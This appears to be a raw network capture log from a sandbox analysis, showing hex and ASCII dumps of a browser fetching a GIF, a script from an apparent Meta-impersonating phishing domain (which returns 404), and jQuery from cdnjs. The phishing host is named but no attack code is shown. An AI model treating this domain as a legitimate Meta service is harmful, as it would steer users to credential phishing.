2025-03-13 09:50:32 UTC	7931	IN	Data Raw: 47 49 46 38 39 61 80 07 38 04 f7 ff 00 d1 45 ce 50 d2 6f a8 33 f6 91 99 aa fc d7 a7 f5 a6 e2 f1 52 96 26 77 d5 fe 6a 6c 44 4f 55 ec cc 32 d3 d1 4a da 46 b8 b1 d7 fd b4 49 d9 dc dd ef f6 b2 4a 93 eb b2 4c 6d f6 b6 f4 ff f7 a2 a5 93 d2 fd 22 33 44 ad d0 4e 28 77 f6 bb bb cc 6e b3 fc 2a 6e b7 26 88 f2 34 44 47 ae 02 57 ff fd d0 cb 33 d7 bb cc cd f3 cc 4b 6e 50 fd af 50 ac fd 94 4e b4 fc d3 8e 49 f6 f8 b6 32 55 66 67 fc d6 f9 49 97 f1 8d bb f4 ee 48 a7 4f 55 62 4d 8a d0 77 aa d2 6e 67 ee fc 91 2c cc 08 53 6b 99 d2 53 d6 88 fa 71 06 6d d1 8e ae 0c 20 fc 8d 6b 50 ac fe f2 4e 01 fd 8f 04 b0 48 ee ff cd d0 8b b1 df 2e 88 d9 fc b1 79 ff b9 03 d7 03 08 92 4f d7 4d 70 d5 93 67 d8 d2 00 2c 45 77 b7 74 cd ff fb 70 49 cc ff dc fc 6f 2a f0 2c 02 99 bb 97 db 33 b8 ff 55 Data Ascii: GIF89a8EPo3R&wjlDOU2JFIJLm"3DN(wnn&4DGW3KnPPNI2UfgIHOUbMwng,SkSqm kPNH.yOMpg,EwtpIo,3U
2025-03-13 09:50:32 UTC	8000	IN	Data Raw: 1f e8 b0 e1 82 f7 43 a5 24 87 b3 9d 91 a3 96 28 16 48 16 7f 34 4e c9 c9 1f 43 10 59 a1 57 6a 12 a8 de 10 fe 3b 85 17 22 21 02 d1 aa 94 97 ca 28 cb 98 05 32 39 de 90 b6 3a e0 2c b3 c4 02 2b e8 b9 e4 74 05 08 65 d8 0a 49 1a 9f c9 3c 53 ce 61 ec 3a 39 a4 bd 88 10 ff e0 cf ab b3 d6 fa 2f 42 ff 4c cc d0 42 1b 03 c0 d1 16 26 ab 6c d2 cd 34 a3 c2 57 fd ca a8 c3 d3 1d ea 20 40 3b 8c 9a f1 c1 54 1c 86 d0 5b ef 23 86 50 75 d5 40 88 f3 27 56 df 58 b9 95 39 15 7e 03 63 d7 5e a1 85 6e 19 e9 ae b9 16 1a 64 a1 13 76 99 00 de d8 26 1c fd 4e 81 a6 9f 65 62 a1 76 99 f4 9a 63 06 5c d4 53 47 fd 15 9e 5b 77 fd 75 d8 63 97 7d 76 da 6b b7 fd f6 8a 26 d4 11 dd 56 08 16 68 00 f0 5a 2c ca 9b a9 2f 5a e5 47 4f 7a f1 2f 84 5c 0e 6a 4e f8 97 ae 24 f7 f8 1a 8b a7 48 18 17 3d b4 de 1f Data Ascii: C$(H4NCYWj;"!(29:,+teI<Sa:9/BLB&l4W @;T[#Pu@'VX9~c^ndv&Nebvc\SG[wuc}vk&VhZ,/ZGOz/\jN$H=
2025-03-13 09:50:32 UTC	8000	IN	Data Raw: 6b 2a 00 da c9 e6 5f 48 c3 46 70 04 d4 90 22 60 54 a0 0d 2d 03 99 a4 ff 28 4b 80 9b d9 84 c9 91 d5 40 0f 19 46 2b f4 4d 72 06 8e 31 f0 a7 74 6e 29 97 76 a9 97 c2 a0 20 d1 e0 63 90 ce eb f4 54 60 0c 40 ed 08 a8 4e 7c 17 55 7e 8b e7 04 83 2c 84 c0 2e 00 03 36 c8 87 30 60 03 30 f4 c2 2c a0 29 80 9e 65 59 5e 28 b2 e8 96 a0 06 2a a1 0e aa a1 7a 82 2d 44 e1 5c 78 4b 44 79 83 3d 0c c0 00 3c 6a a4 42 aa a4 56 2a a5 42 6a 2e a4 8b 17 e5 e7 56 09 83 77 b2 a3 58 ce 42 2b 3c 00 30 40 c8 c1 61 c3 03 b4 c2 9e 6e 46 ab 44 54 a2 fe 45 ea 81 aa e9 cc 42 2f 94 2a 84 40 08 30 a4 ea 2c 68 ea c9 19 a3 a9 7e a3 19 e2 05 9f ca 99 6b 30 29 78 c8 4b 25 85 5a fa cd d7 66 2a c4 27 69 cf b2 96 c7 0b a0 a8 b1 a2 c5 29 bc 40 68 8e 43 46 ba 28 47 ce 5a fd 95 cc 22 8a a4 59 81 1d 62 20 Data Ascii: k_HFp"`T-(K@F+Mr1tn)v cT`@N\|U~,.60`0,)eY^(z-D\xKDy=<jBVBj.VwXB+<0@anFDTEB/@0,h~k0)xK%Zf*'i)@hCF(GZ"Yb
2025-03-13 09:50:32 UTC	8000	IN	Data Raw: ec 17 31 9e d3 03 80 f9 0e 22 e4 15 15 53 ec b1 f3 b5 2c 20 06 a1 94 fd 0f 06 1c f3 7e 58 b6 e2 49 df e3 d7 03 5e 5c 98 e5 ff 9e f7 69 7f ce 0f 74 e9 5a 02 9c 50 be f5 04 2d a1 87 c9 a0 a3 ef be 42 c2 3f 39 f3 f1 f2 0f c4 fd 70 26 62 7a a2 2b a1 1c e0 51 f3 24 39 df 3f cc f7 be 82 e4 ac 80 56 8a 9f dc e4 d4 8b 84 e8 e5 7e 06 d1 c5 d5 10 38 13 fe 0d c4 34 2b e8 48 f8 46 22 80 11 08 80 82 d7 68 1f 4f a0 01 aa c3 6d c8 23 0a 6c c8 ee 60 e2 aa 15 86 64 15 7a 49 92 9c 5c a8 22 71 31 6d 40 78 ca df 3f 86 c1 11 3d e9 f0 24 23 70 1f a8 ff fc f6 14 ce 65 85 78 16 a1 61 61 52 28 1a 24 92 e5 86 06 81 e2 42 f4 e2 b0 5f 48 31 39 10 4c 0e 00 0f 12 3b 8b d8 c9 24 23 38 c1 40 c4 88 be 2c dd 20 00 ac 29 8a 1f 48 38 22 26 1a c4 58 6e 1c 8a 12 fd 32 c7 99 70 28 8b 42 99 55 Data Ascii: 1"S, ~XI^\itZP-B?9p&bz+Q$9?V~84+HF"hOm#l`dzI\"q1m@x?=$#pexaaR($B_H19L;$#8@, )H8"&Xn2p(BU
2025-03-13 09:50:32 UTC	8000	IN	Data Raw: 0c 81 c6 1b 31 72 8d 65 04 e0 1f 8a e8 83 fc 90 58 c5 3d 2e 64 3f 9c b8 01 41 4c 40 10 3d 1a f2 91 1a 71 a4 3f 0a 09 c9 4a 3e e4 14 e1 80 48 40 00 00 21 f9 04 05 03 00 ff 00 2c 1f 04 ff 01 13 01 3e 00 00 08 ff 00 ff 09 1c 48 b0 e0 40 6c 2c 90 20 f9 e7 ca a0 c3 87 10 23 4a 9c 48 b1 a2 c5 8b 18 33 6a dc c8 b1 a3 c7 87 55 04 62 98 88 a1 61 44 0d 1f 53 aa 5c c9 b2 a5 cb 97 1b fd 09 ac 52 64 d8 48 93 26 0d 9a 2c 39 52 e7 81 03 30 83 0a 1d 4a b4 28 d1 61 03 4d 86 72 b8 b4 64 d2 81 3c 09 02 32 4a b5 aa d5 ab 56 73 fe 0b e5 8a a7 ab a5 0c 05 36 2c 19 ea 66 d8 b3 ff 90 62 5d cb b6 ad db 87 fe a2 fd ab 19 15 ea d7 a4 4e ff 61 00 2b 76 a4 5f bd 6f 03 0b 1e 8c 15 a9 d6 b3 4a 07 f2 25 db 13 27 62 c2 90 23 4b de 28 57 a4 41 ae 7c 71 e6 dc 6c f7 ef d6 c9 a0 43 8b 7e e8 Data Ascii: 1reX=.d?AL@=q?J>H@!,>H@l, #JH3jUbaDS\RdH&,9R0J(aMrd<2JVs6,fb]Na+v_oJ%'b#K(WA\|qlC~
2025-03-13 09:50:32 UTC	8000	IN	Data Raw: 43 21 b2 1e 1d 86 1e 66 b7 88 15 51 0f 12 f0 0f 71 b0 99 27 e9 98 5d f9 0f 60 b9 8b 0f 11 67 28 f6 92 03 41 5f c4 c1 79 80 a4 13 95 84 17 ca a5 11 7c 19 15 b3 89 15 78 b1 56 10 71 0a c5 50 2b 6c 51 9b 3a 91 68 fd 21 97 50 01 8e 48 44 5a 73 c2 0e 3a 00 08 1a 80 0e 02 81 0e a8 a4 3b bd 00 03 e8 a0 01 ca 09 08 2b 90 98 ef 61 54 bd 01 6f 35 68 10 5e 40 10 2b 29 01 31 ff 50 01 b9 26 9a a2 b9 92 31 00 96 64 d9 10 b5 46 10 34 06 8c 38 86 6f 3f 85 89 50 41 77 5f d2 81 fe 10 91 48 c7 16 c2 f9 16 0f 20 2c c9 11 11 bf d2 9f a6 08 29 59 b4 77 82 21 4a 47 d4 61 24 c8 26 8f 93 49 c2 47 1f 45 34 75 88 21 80 d5 b3 1e bc b7 18 0d 10 72 1e 41 4a e6 89 10 e1 d9 99 9c 19 9a 2c 69 62 03 21 4e f8 88 63 ce 65 93 76 47 37 dc c7 70 ac a7 20 dd e9 16 be e9 58 e8 d7 0b b4 55 a3 a4 Data Ascii: C!fQq']`g(A_y\|xVqP+lQ:h!PHDZs:;+aTo5h^@+)1P&1dF48o?PAw_H ,)Yw!JGa$&IGE4u!rAJ,ib!NcevG7p XU
2025-03-13 09:50:32 UTC	8000	IN	Data Raw: 36 20 aa b6 5d 7c 93 0a c0 c6 7f c4 e8 a3 20 3d 0a ea 66 23 9a 82 8c a8 55 e4 fe 12 ca 26 23 a9 2b f6 de a8 6e 4d 0a 58 99 74 41 2c 5f 94 ba 32 2b 56 4d 6b fd ae bf 8b 65 6d 38 32 61 64 a1 b8 af 4f 3f be f2 29 8c 37 ca 12 a2 85 d7 93 65 d7 c8 94 8d 68 b1 a2 ba 1a d6 af 27 5b 96 e9 94 06 aa 58 2d 33 11 5b 73 a5 ce 70 1d 64 c1 b2 73 0b 0a 25 dd 61 00 69 80 2a 88 63 6c ff 67 b7 82 38 78 01 23 8b 24 90 e8 1e 9f 0d 42 41 88 b0 65 b2 d4 a0 6b 06 2e e8 6c 89 30 ed 4f 5a 84 8f 43 93 ba 5d 8c b1 28 6e 94 88 8c 79 a5 bb da 52 53 a7 59 6a 29 db a2 57 a5 9b 48 28 95 55 3e 3c c5 aa cd 62 ca aa f5 4a 8d c8 e2 c1 93 84 16 e5 fe ac c3 cd 66 b5 98 2d ea 01 5b ea 33 b5 20 a2 7e e9 b5 f2 94 b0 c9 f6 5c 85 44 fc 36 e9 5d c9 95 73 a0 d5 40 33 b1 ea 76 6f a1 48 02 2f 0a 4a 24 Data Ascii: 6 ]\| =f#U&#+nMXtA,_2+VMkem82adO?)7eh'[X-3[spds%ai*clg8x#$BAek.l0OZC](nyRSYj)WH(U><bJf-[3 ~\D6]s@3voH/J$
2025-03-13 09:50:32 UTC	8000	IN	Data Raw: 7f 70 25 50 f0 59 ca 77 b4 62 dd 74 26 8e 27 5c ff 11 1d 77 b0 e1 85 17 f8 f3 3e 00 fd 27 9f 02 aa ba 88 e4 0c 76 05 21 82 40 46 dc 11 7c fc 23 b0 38 06 cb 12 fe 71 8d 6b 5c 46 69 8f 2d c8 82 8d 23 dc 22 3d 00 bf 1d 91 1f 9b af 0a 96 8d 26 b5 20 05 06 4c 63 13 d2 61 9a d0 cf 5d ab 15 1a f6 bc d6 19 6b 45 e6 44 5f de ac f6 14 02 e0 9a ac 62 22 0f 86 4d 30 80 31 67 c2 30 04 3a 2e e9 05 a3 17 d2 0a 5b a8 f2 a7 53 eb 17 8c 61 2b 3d fe 69 cf cd 32 3c 85 1a ee d4 13 f2 9c 75 51 81 24 0a 59 0d 69 38 59 37 d7 9e 09 39 80 06 28 e5 69 9a 40 a4 08 40 b0 2b a3 78 42 e5 ba 6a 4a 41 e6 4d 88 96 05 a0 97 43 48 c3 1f 13 ad 8c 08 c8 0c 96 af 74 03 1c 69 9e 89 ae d0 88 e9 ce 14 c7 6d 56 14 4c 83 7d 64 a5 c8 46 24 8c 3a 14 48 9c fc 72 8a d5 66 66 d5 7f 46 63 84 03 98 51 36 Data Ascii: p%PYwbt&'\w>'v!@F\|#8qk\Fi-#"=& Lca]kED_b"M01g0:.[Sa+=i2<uQ$Yi8Y79(i@@+xBjJAMCHtimVL}dF$:HrffFcQ6
2025-03-13 09:50:32 UTC	8000	IN	Data Raw: 25 4b 97 2c 82 3f 71 25 eb 29 94 a8 4f 59 b8 fe 01 ab 49 d3 5f 44 82 df 04 7a 2c 29 b2 2a 49 ab 03 89 cd b4 85 ad a9 c0 5e 08 a5 0a 1c fb af d5 57 b4 04 65 41 94 aa b1 6d d3 98 0a 35 32 4d 8b d6 9f ad 97 09 89 9d 4a bb 0a 6a c2 9d 03 03 ff fb 96 f7 5f ad b8 75 15 2f ae 79 8a c6 01 0c ae 5c 09 74 15 ea 5f e4 cb 92 ff ad 68 10 ed c1 3f cf ff 3e 3f 08 ed d9 b3 d7 07 d8 52 93 fe 71 60 18 06 cb b0 05 5a 9e 6c f9 c0 ff 8a 5b a7 fc f9 63 ac 50 cd bf 7a 23 e2 c4 18 3e b0 de ef 81 d2 06 c6 20 c8 fc de 3f de 0a 17 11 51 e8 40 20 08 00 00 ac 0b 2c d0 db fb 77 f0 e1 2b 1a 24 eb 12 ec e7 7f bb 1e ec 5a f5 59 fd bf f6 ec 3f c7 6f 9f 7e d5 3f be 8a 77 25 34 4c 58 7c 30 ba be 3a c5 21 8b f6 12 ef 40 81 ce 2a cf 3f 6f 92 11 66 20 be a2 cb 4f 26 09 a1 0b 2f 3a fe 1e 7a 30 Data Ascii: %K,?q%)OYI_Dz,)I^WeAm52MJj_u/y\t_h?>?Rq`Zl[cPz#> ?Q@ ,w+$ZY?o~?w%4LX\|0:!@?of O&/:z0
2025-03-13 09:50:32 UTC	8000	IN	Data Raw: 7a 2a c3 f2 0f 31 a9 a4 3f 70 33 2a 04 5b ed c7 9d d3 d2 76 5b 1a 97 7c d8 00 3f 50 04 7c 31 26 3e ff a3 5a da b9 2c ae 90 77 eb e9 11 2a b0 08 44 30 11 02 40 04 f1 59 90 de 9a 98 82 87 55 02 c1 00 17 28 2e e0 52 00 94 a9 11 92 f9 0f 7d 3a 3d 22 61 2a b1 a9 a9 22 21 68 d3 06 29 98 a6 10 11 eb 29 30 fa 48 e3 a3 94 88 3a 13 96 f2 6b 7c f3 9b 3b 71 22 8a c2 1d 67 7b 10 8d 66 47 6d 08 11 c0 50 aa 03 e1 0d a7 fa 15 5a 75 36 71 06 11 20 42 45 1f d7 12 6d 21 ab 8c 74 94 b6 ba 71 cf 09 3e d2 78 62 63 e4 9b d6 e9 49 66 39 ad a6 44 ac 62 02 80 b0 f3 9d 58 fa 87 7a 78 b2 07 e0 7f ff a0 0e b3 53 b9 d0 02 5b 07 70 88 64 8a 11 7d 79 90 ff 70 02 ad 7b 90 ae 6b 10 b1 fb 0f 44 10 b4 41 4b 10 6a 1a 98 09 38 78 7b c0 20 1e 59 10 79 ca 11 7c c0 07 3b 30 bc 22 71 04 a5 b8 b1 Data Ascii: z1?p3[v[\|?P\|1&>Z,wD0@YU(.R}:="a"!h))0H:k\|;q"g{fGmPZu6q BEm!tq>xbcIf9DbXzxS[pd}yp{kDAKj8x{ Yy\|;0"q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49746	103.176.25.236	443	6152	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:50:31 UTC	635	OUT	GET /handle/chongf12.js HTTP/1.1 Host: metabussiness-helper-verify24h-now.abaytravel.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://metabussiness-helper-verify24h-now.abaytravel.com/meta-community-standard.php Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:50:32 UTC	164	IN	HTTP/1.1 404 Not Found Date: Thu, 13 Mar 2025 09:50:27 GMT Server: Apache Content-Length: 296 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-03-13 09:50:32 UTC	296	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 6d 65 74 61 62 75 73 73 69 6e 65 73 73 2d 68 65 6c 70 65 72 2d 76 65 72 69 66 79 32 34 68 2d 6e 6f 77 2e 61 62 61 79 74 72 61 76 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at metabussiness-helper-verify24h-now.abaytrav

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49753	104.17.24.14	443	6152	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:50:33 UTC	630	OUT	GET /ajax/libs/jquery/3.6.0/jquery.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://metabussiness-helper-verify24h-now.abaytravel.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:50:34 UTC	954	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:50:33 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"603e8adc-15d9d" Last-Modified: Tue, 02 Mar 2021 18:58:36 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 37987 Expires: Tue, 03 Mar 2026 09:50:33 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HKz3GYa5FTnpO2Hn7UXKE1izlmJUmWh0WdXT6MrZRTObjADz452wl1Sqf3yYHrvgcyVpYDtOH3oe%2FIr18LuXgI57B6kVH5E4DvFw4v8FSN6608MtXk5KqBwKTcxEUkgE3JYJSfRl"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 91faa0b3bd461cfe-ORD alt-svc: h3=":443"; ma=86400
2025-03-13 09:50:34 UTC	415	IN	Data Raw: 37 62 66 36 0d 0a 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f Data Ascii: 7bf6/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Erro
2025-03-13 09:50:34 UTC	1369	IN	Data Raw: 65 4f 66 2c 73 3d 74 2e 73 6c 69 63 65 2c 67 3d 74 2e 66 6c 61 74 3f 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 2e 66 6c 61 74 2e 63 61 6c 6c 28 65 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 2e 63 6f 6e 63 61 74 2e 61 70 70 6c 79 28 5b 5d 2c 65 29 7d 2c 75 3d 74 2e 70 75 73 68 2c 69 3d 74 2e 69 6e 64 65 78 4f 66 2c 6e 3d 7b 7d 2c 6f 3d 6e 2e 74 6f 53 74 72 69 6e 67 2c 76 3d 6e 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 61 3d 76 2e 74 6f 53 74 72 69 6e 67 2c 6c 3d 61 2e 63 61 6c 6c 28 4f 62 6a 65 63 74 29 2c 79 3d 7b 7d 2c 6d 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 65 26 26 22 6e 75 6d 62 65 72 22 21 3d 74 79 70 65 6f 66 20 65 2e 6e 6f Data Ascii: eOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.no
2025-03-13 09:50:34 UTC	1369	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 71 28 2d 31 29 7d 2c 65 76 65 6e 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 67 72 65 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 28 74 2b 31 29 25 32 7d 29 29 7d 2c 6f 64 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 67 72 65 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 25 32 7d 29 29 7d 2c 65 71 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 6c 65 6e 67 74 68 2c 6e 3d 2b 65 2b 28 65 3c 30 3f 74 3a 30 29 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 Data Ascii: unction(){return this.eq(-1)},even:function(){return this.pushStack(S.grep(this,function(e,t){return(t+1)%2}))},odd:function(){return this.pushStack(S.grep(this,function(e,t){return t%2}))},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushS
2025-03-13 09:50:34 UTC	1369	IN	Data Raw: 5b 72 5d 2c 72 2c 65 5b 72 5d 29 29 62 72 65 61 6b 3b 72 65 74 75 72 6e 20 65 7d 2c 6d 61 6b 65 41 72 72 61 79 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 74 7c 7c 5b 5d 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 65 26 26 28 70 28 4f 62 6a 65 63 74 28 65 29 29 3f 53 2e 6d 65 72 67 65 28 6e 2c 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 3f 5b 65 5d 3a 65 29 3a 75 2e 63 61 6c 6c 28 6e 2c 65 29 29 2c 6e 7d 2c 69 6e 41 72 72 61 79 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 74 3f 2d 31 3a 69 2e 63 61 6c 6c 28 74 2c 65 2c 6e 29 7d 2c 6d 65 72 67 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 2b 74 2e 6c 65 6e 67 74 68 2c 72 3d 30 2c 69 3d 65 2e 6c 65 6e 67 Data Ascii: [r],r,e[r]))break;return e},makeArray:function(e,t){var n=t\|\|[];return null!=e&&(p(Object(e))?S.merge(n,"string"==typeof e?[e]:e):u.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:i.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.leng
2025-03-13 09:50:34 UTC	1369	IN	Data Raw: 2b 22 2a 28 3f 3a 27 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 27 5d 29 2a 29 27 7c 5c 22 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 5c 22 5d 29 2a 29 5c 22 7c 28 22 2b 49 2b 22 29 29 7c 29 22 2b 4d 2b 22 2a 5c 5c 5d 22 2c 46 3d 22 3a 28 22 2b 49 2b 22 29 28 3f 3a 5c 5c 28 28 28 27 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 27 5d 29 2a 29 27 7c 5c 22 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 5c 22 5d 29 2a 29 5c 22 29 7c 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 28 29 5b 5c 5c 5d 5d 7c 22 2b 57 2b 22 29 2a 29 7c 2e 2a 29 5c 5c 29 7c 29 22 2c 42 3d 6e 65 77 20 52 65 67 45 78 70 28 4d 2b 22 2b 22 2c 22 67 22 29 2c 24 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 2b 22 2b 7c 28 28 3f 3a 5e 7c 5b 5e 5c 5c 5c 5c 5d 29 28 3f 3a Data Ascii: +"(?:'((?:\\\\.\|[^\\\\']))'\|\"((?:\\\\.\|[^\\\\\"]))\"\|("+I+"))\|)"+M+"\\]",F=":("+I+")(?:\$(('((?:\\\\.\|[^\\\\']))'\|\"((?:\\\\.\|[^\\\\\"]))\")\|((?:\\\\.\|[^\\\\()[\\]]\|"+W+"))\|.)\$\|)",B=new RegExp(M+"+","g"),$=new RegExp("^"+M+"+\|((?:^\|[^\\\\])(?:
2025-03-13 09:50:34 UTC	1369	IN	Data Raw: 22 20 22 3a 22 5c 5c 22 2b 65 7d 2c 6f 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 54 28 29 7d 2c 61 65 3d 62 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 21 30 3d 3d 3d 65 2e 64 69 73 61 62 6c 65 64 26 26 22 66 69 65 6c 64 73 65 74 22 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 2c 7b 64 69 72 3a 22 70 61 72 65 6e 74 4e 6f 64 65 22 2c 6e 65 78 74 3a 22 6c 65 67 65 6e 64 22 7d 29 3b 74 72 79 7b 48 2e 61 70 70 6c 79 28 74 3d 4f 2e 63 61 6c 6c 28 70 2e 63 68 69 6c 64 4e 6f 64 65 73 29 2c 70 2e 63 68 69 6c 64 4e 6f 64 65 73 29 2c 74 5b 70 2e 63 68 69 6c 64 4e 6f 64 65 73 2e 6c 65 6e 67 74 68 5d 2e 6e 6f 64 65 54 79 70 65 7d 63 61 74 63 68 28 65 29 7b 48 3d 7b 61 70 70 6c 79 3a 74 2e 6c 65 6e 67 74 68 3f 66 75 Data Ascii: " ":"\\"+e},oe=function(){T()},ae=be(function(e){return!0===e.disabled&&"fieldset"===e.nodeName.toLowerCase()},{dir:"parentNode",next:"legend"});try{H.apply(t=O.call(p.childNodes),p.childNodes),t[p.childNodes.length].nodeType}catch(e){H={apply:t.length?fu
